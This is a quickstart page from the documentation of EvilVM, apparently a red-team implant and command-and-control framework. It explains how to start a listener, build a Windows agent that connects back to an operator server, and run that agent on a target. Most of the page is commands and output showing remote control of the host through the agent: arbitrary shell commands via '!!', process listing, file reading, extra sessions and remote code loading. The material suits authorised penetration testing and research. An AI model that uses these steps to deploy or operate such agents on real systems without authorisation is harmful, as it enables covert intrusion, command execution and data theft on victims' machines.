EvilVM Documentation Site

Quickstart Guide

If you don’t want to slog through all the detail and just want to get playing with the system, this page is for you. We’ll start out assuming you’ve checked out the repository on a qualified system. To run EvilVM you’ll need a fairly standard Linux with the following:

  1. MinGW installed – try something like apt install mingw-w64
  2. Ruby installed – preferably ruby 2.x
  3. Some ruby gems – sinatra and pry, primarily

Systems

You will need one machine which will be your server and console. This will be the Linux machine where you have the EvilVM distribution in working order. This host will need network connectivity to your target, which will run the agent. I’ll call this system’s IP address $server in this article.

Your target host must be a 64-bit Windows system. I test on Windows 10 most of the time, but have been successful on the other variants as well. You will need credentials on this host so you can trigger execution of the agent. The agent is running at IP address $agent.

Run the Server

On your server system, start the server. By default it will listen on port 1919.

# server/server.rb

Generate an Agent

From the EvilVM directory, run the build.rb script to generate a new agent. I would recommend configuring a TCP transport just to get started. You can experiment with other transport options later. Generate an agent as follows. Read the help output for more information about the flags

# ./build.rb -n -i $server -p 1919 -E -o agent.exe

Now copy this file up to your agent and execute it.

Interact

You’ll get some messages when an agent connects to your server – probalby something like this:

Awaiting inbound connection...

NOTE: : File /mnt/sharing/asm/forth/samples/payload-net.fth loaded

Introducing channel #1
1  -> 57702 7214602 5776 5776 Evil#Forth


---- BEGIN OUTPUT ----
IDENT:josh@CIBOLA.JOSHSTONE:698f8e14-b11f-4b9e-bf38-66436e2a7f59
----- END OUTPUT -----
1  -> 
1  [sea-green]  ->

The first few fields emitted by the agent are fragments from the tick count and process / thread IDs. This is there to ensure that the initial response from any agent is not predictable (to make it more difficult to fingerprint EvilVM traffic). Following that is a banner from the compiler indicating successful bootstrap, and then the agent’s IDENT string. This includes the user context and machine GUID for the target host.

Once the IDENT string is received, the server will assign a Crayola color to the session, and you will be presented with a prompt. You are now interacting directly with the agent’s outer interpreter.

Run Some Commands

There are a number of useful commands in the default network payload. For example, you can get the system’s hostname and other basic stats with some of these commands:

1  [sea-green]  -> hostname
1  [sea-green]  -> 
---- BEGIN OUTPUT ----
CIBOLA
----- END OUTPUT -----
1  [sea-green]  -> pwd
1  [sea-green]  -> 
---- BEGIN OUTPUT ----
C:\Users\josh.JOSHSTONE
----- END OUTPUT -----

You can run shell commands and receive their output with the !! word. Note that this will read the remainder of the line after invocation, and pass that to Windows for execution, so you can run arbitrary commands:

1  [sea-green]  -> !! whoami
1  [sea-green]  -> 
---- BEGIN OUTPUT ----
joshstone\josh
----- END OUTPUT -----

Check out these other commands to see what’s there:

  1. ps – list running processes
  2. cd [PATH] – change directory
  3. cat [FILE] – view contents of a file (be careful about large files…)

Define a new Function

Try defining a ‘hello world’ function to get a sense for what interacting with the compiler is like:

: hello  .pre ." Hello world!\n" .post ;
hello

Now, view the machine code that makes up that word:

see hello
6f2f48  e8 2f 7c ff ff 49 83 ec 08 49 89 3c 24 48 bf 64 
6f2f58  2f 6f 00 00 00 00 00 e9 0e 00 00 00 48 65 6c 6c 
6f2f68  6f 20 77 6f 72 6c 64 21 0a 00 49 83 ec 08 49 89 
6f2f78  3c 24 bf 0d 00 00 00 e8 a2 d9 fe ff e8 69 7c ff 
6f2f88  ff 4d 3b a7 30 00 00 00 0f 8f e7 f6 d0 ff c3 

If you paste this into a disassembler, you’ll see how Evil#Forth compiled the code.

Control the Server

Interacting with the agent is nice, but sometimes we need to talk to the server. This can be done by using an escape character – ^K, which is the ASCII “vertical tab” character. Depending on your terminal, you may need to prefix this with another keystroke. On my terminal (gnome terminal), I type ^V^K to type a literal vertical tab. Anything typed after this escape character will be interpreted by the server instead of being sent to the agent.

Spawn another compiler in a second thread by sending this to the agent:

entrypoint >thread

You should see a message from the server showing that another session has connected. You can list all of the sessions by issuing the ^Klist command:

1  [sea-green]  -> ^Klist
Client #1  [sea-green]  10.0.2.33:56777*
Client #2  [sea-green]  10.0.2.33:56778

The line with the asterisk on it is the current session we’re interacting with. Switch to the other one with the “switch” command:

1  [sea-green]  -> ^Kswitch 2
2  [sea-green]  -> 64936 17176074 2016 2016 Evil#Forth


---- BEGIN OUTPUT ----
IDENT:josh@CIBOLA.JOSHSTONE:698f8e14-b11f-4b9e-bf38-66436e2a7f59
----- END OUTPUT -----

There’s the banner information for our new session! There are other commands, such as those that allow us to send code to the agent to compile it en masse. Using the “load” command, let’s send the core API test suite down to this session and make sure that the compiler is in working condition:

2  [sea-green]  -> ^Kload test/tests.fth
NOTE:  [sea-green] : File test/tests.fth loaded
2  [sea-green]  -> 

good-check  + +  | fail-check  + x  | fail-effect x +  | fail-both   x x
dup         + +  | drop        + +  | nip         + +  | swap        + +
r-funs      + +  | 2dup        + +  | 2drop       + +  | over        + +
rot1        + +  | rot2        + +  | fetch       + +  | store       + +
dstore      + +  | cell        + +  | cells       + +  | >name       + +
kernel32    + +  | psp         + +  | depth       + +  | bottom      + +
here        + +  | !here       + +  | this-last   + +  | globals     + +
+           + +  | -           + +  | *           + +  | /           + +
/mod        + +  | and         + +  | or          + +  | walk        + +
array       + +  | fact(5)     + +  | fact(3)     + +  | brackets    + +
<           + +  | >=          + +  | clamp1      + +  | clamp2      + +
clamp3      + +  | iter        + +  | vars        + +  | off/on      + +
[char]      + +  | nl?         + +  | walk        + +  | ltrim       + +
rtrim       + +  | trim        + +  | c[ad]r      + +  | reverse     + +
nth         + +  | unloop      + +  | hex-sigil-1 + +  | hex-sigil-2 + +

 112 / 112 using 15896 bytes

Conclusion

This is just a taste of using EvilVM – there’s a lot more here, for sure! Read the other articles in this documentation to dig into the details.

Last updated on 29 Apr 2019